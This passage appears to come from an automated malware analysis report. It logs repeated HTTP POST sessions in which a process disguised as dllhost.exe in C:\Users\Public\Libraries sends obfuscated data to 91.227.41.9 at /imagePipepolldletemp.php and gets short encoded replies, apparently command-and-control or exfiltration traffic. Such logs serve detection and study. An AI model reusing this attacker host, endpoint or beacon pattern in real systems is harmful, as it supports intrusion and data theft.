                                                                                                                                      Data Ascii: \YC]]GU^TW[QUQYTPXZXVPWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'0>2<90X#5+C-$#(9 Y7\8!3?<)'#! +?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:14.850081921 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:15.120289087 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:14 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      44192.168.2.44982791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:15.369934082 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:15.718270063 CET2536OUTData Raw: 59 5a 43 52 58 4a 50 5b 54 57 5b 51 55 5c 59 59 50 5c 5a 5e 56 53 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCRXJP[TW[QU\YYP\Z^VSW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''=2=9/46'?'Y;?:$7 6 <U()3!W0*/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:28:16.633142948 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:16.875005960 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:16 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      45192.168.2.44983391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:17.117229939 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:17.468338013 CET2536OUTData Raw: 59 5c 46 54 5d 41 55 5d 54 57 5b 51 55 5f 59 54 50 53 5a 5e 56 53 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y\FT]AU]TW[QU_YTPSZ^VSW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_0:?37??6![&< <9#4"?+^"<??&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      46192.168.2.44983591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:18.369718075 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:18.718240976 CET1860OUTData Raw: 59 5f 43 51 5d 43 50 5c 54 57 5b 51 55 51 59 59 50 58 5a 5e 56 5d 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_CQ]CP\TW[QUQYYPXZ^V]WYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^'-&?*043[*%!$;?:7 #0W+<Y"<+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:19.681677103 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:19.917233944 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:19 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 0d 31 26 05 5b 28 23 03 51 28 02 23 15 2c 2f 27 03 3f 33 2d 13 26 2e 23 57 32 38 32 1d 3e 2d 33 5e 30 0c 3a 0f 30 24 28 0f 2a 38 2f 58 07 1c 24 02 3f 05 0e 03 32 0a 29 05 2a 32 2c 04 32 3d 3f 05 26 2e 3c 1e 30 33 2f 07 3e 23 2a 0b 25 16 04 0c 28 38 30 5f 3a 37 24 13 21 0e 23 53 08 11 26 09 33 22 3c 10 25 01 38 11 21 0d 07 0d 30 05 3f 54 2a 05 3c 5a 2b 0a 2e 07 2b 57 3a 56 24 54 28 1f 24 11 0a 58 24 30 31 0f 31 00 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :1&[(#Q(#,/'?3-&.#W282>-3^0:0$(*8/X$?2)*2,2=?&.<03/>#*%(80_:7$!#S&3"<%8!0?T*<Z+.+W:V$T($X$011&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      47192.168.2.44983691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:18.492623091 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:18.843322992 CET2536OUTData Raw: 59 52 43 52 58 40 55 5b 54 57 5b 51 55 5f 59 5f 50 5f 5a 5f 56 57 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRCRX@U[TW[QU_Y_P_Z_VWW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'0>-^?)+75??-0?W)9;4*,638V<85$(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:19.774637938 CET232INHTTP/1.1 100 Continue
                                                                                                                                      Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 30 38 20 44 65 63 20 32 30 32 34 20 32 33 3a 32 38 3a 31 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 3d 5b 40 58
                                                                                                                                      Data Ascii: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 23:28:19 GMTServer: Apache/2.4.58 (Ubuntu)Content-Length: 4Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8=[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      48192.168.2.44984191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:20.023525000 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:20.391518116 CET2536OUTData Raw: 5c 5c 43 54 5d 47 50 5b 54 57 5b 51 55 5c 59 59 50 53 5a 5e 56 50 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CT]GP[TW[QU\YYPSZ^VPW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Y&=:+90_73_(&.&/+): !)+V"0(W(98#2'<?&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:28:21.293664932 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:21.533608913 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:21 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      49192.168.2.44984791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:21.771362066 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:22.124543905 CET2536OUTData Raw: 5c 59 46 54 58 41 55 5f 54 57 5b 51 55 5b 59 54 50 58 5a 5b 56 56 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YFTXAU_TW[QU[YTPXZ[VVWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0=9<?#3[<>$//?97:!'<(\62'*/&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:28:23.038813114 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:23.273327112 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:22 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      50192.168.2.44985391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:23.607120991 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:23.952675104 CET2532OUTData Raw: 59 5a 43 54 58 4b 50 5f 54 57 5b 51 55 58 59 55 50 5c 5a 59 56 50 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCTXKP_TW[QUXYUP\ZYVPWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3>%](0X767*&%['??V+3!9<! ,V(9?523(?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:24.925554991 CET25INHTTP/1.1 100 Continue


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      51192.168.2.44985591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:25.042181969 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:25.390130997 CET1860OUTData Raw: 5c 5f 43 55 5d 41 55 53 54 57 5b 51 55 5d 59 59 50 5f 5a 5f 56 50 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \_CU]AUSTW[QU]YYP_Z_VPW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'&=)? &;X(6=$?(?: Y#)'W6 /?9;!Y+&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:28:26.308065891 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:26.545203924 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:26 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 08 24 26 2c 06 29 1d 3a 0a 3c 2f 3f 15 2d 2f 2c 1e 28 0e 36 00 26 00 09 52 32 28 36 1d 3f 07 38 05 33 1c 21 56 27 51 2c 0c 29 28 2f 58 07 1c 27 5a 3c 05 0e 01 26 33 35 01 29 31 3b 58 26 3d 24 5f 30 58 3c 5d 30 0a 34 12 2b 33 35 1c 32 28 07 16 3f 5d 37 03 3a 27 27 0d 21 1e 23 53 08 11 26 08 27 22 28 5b 27 2f 3c 13 36 30 29 09 33 05 24 09 3d 02 05 00 28 1d 21 59 28 0f 00 57 30 32 34 57 27 2c 3b 04 33 23 22 52 25 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :$&,):</?-/,(6&R2(6?83!V'Q,)(/X'Z<&35)1;X&=$_0X<]04+352(?]7:''!#S&'"(['/<60)3$=(!Y(W024W',;3#"R%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      52192.168.2.44985691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:25.161685944 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:25.515146017 CET2536OUTData Raw: 5c 5b 43 52 5d 44 55 59 54 57 5b 51 55 5d 59 5c 50 53 5a 5a 56 54 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CR]DUYTW[QU]Y\PSZZVTW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0<_0#8*51_&/4+)3#:'W#3<W+3!??&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:28:26.508116007 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:26.741420031 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:26 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      53192.168.2.44986291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:26.975100994 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:27.327661991 CET2536OUTData Raw: 59 5e 46 54 5d 41 55 5b 54 57 5b 51 55 51 59 5d 50 5c 5a 5a 56 55 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^FT]AU[TW[QUQY]P\ZZVUWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z$%\+_;7*&9^3,((93 *6##()(6?+&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:28.277112961 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:28.509372950 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:28 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      54192.168.2.44986791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:28.766624928 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:29.124916077 CET2532OUTData Raw: 59 59 43 51 58 46 55 59 54 57 5b 51 55 58 59 5f 50 58 5a 5b 56 53 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YYCQXFUYTW[QUXY_PXZ[VSW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$--Y(94S'Y<:0<?U()' :#U"0 V?#6!#<&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:28:30.039704084 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:30.273438931 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:29 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      55192.168.2.44987291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:30.506294012 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:30.858949900 CET2536OUTData Raw: 59 53 46 56 58 45 55 59 54 57 5b 51 55 5d 59 5d 50 58 5a 5f 56 52 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSFVXEUYTW[QU]Y]PXZ_VRW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Y$.:+77Y(&.$8)* Y '#0? _"Y(?&\"'Z,<


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      56192.168.2.44987491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:31.669112921 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
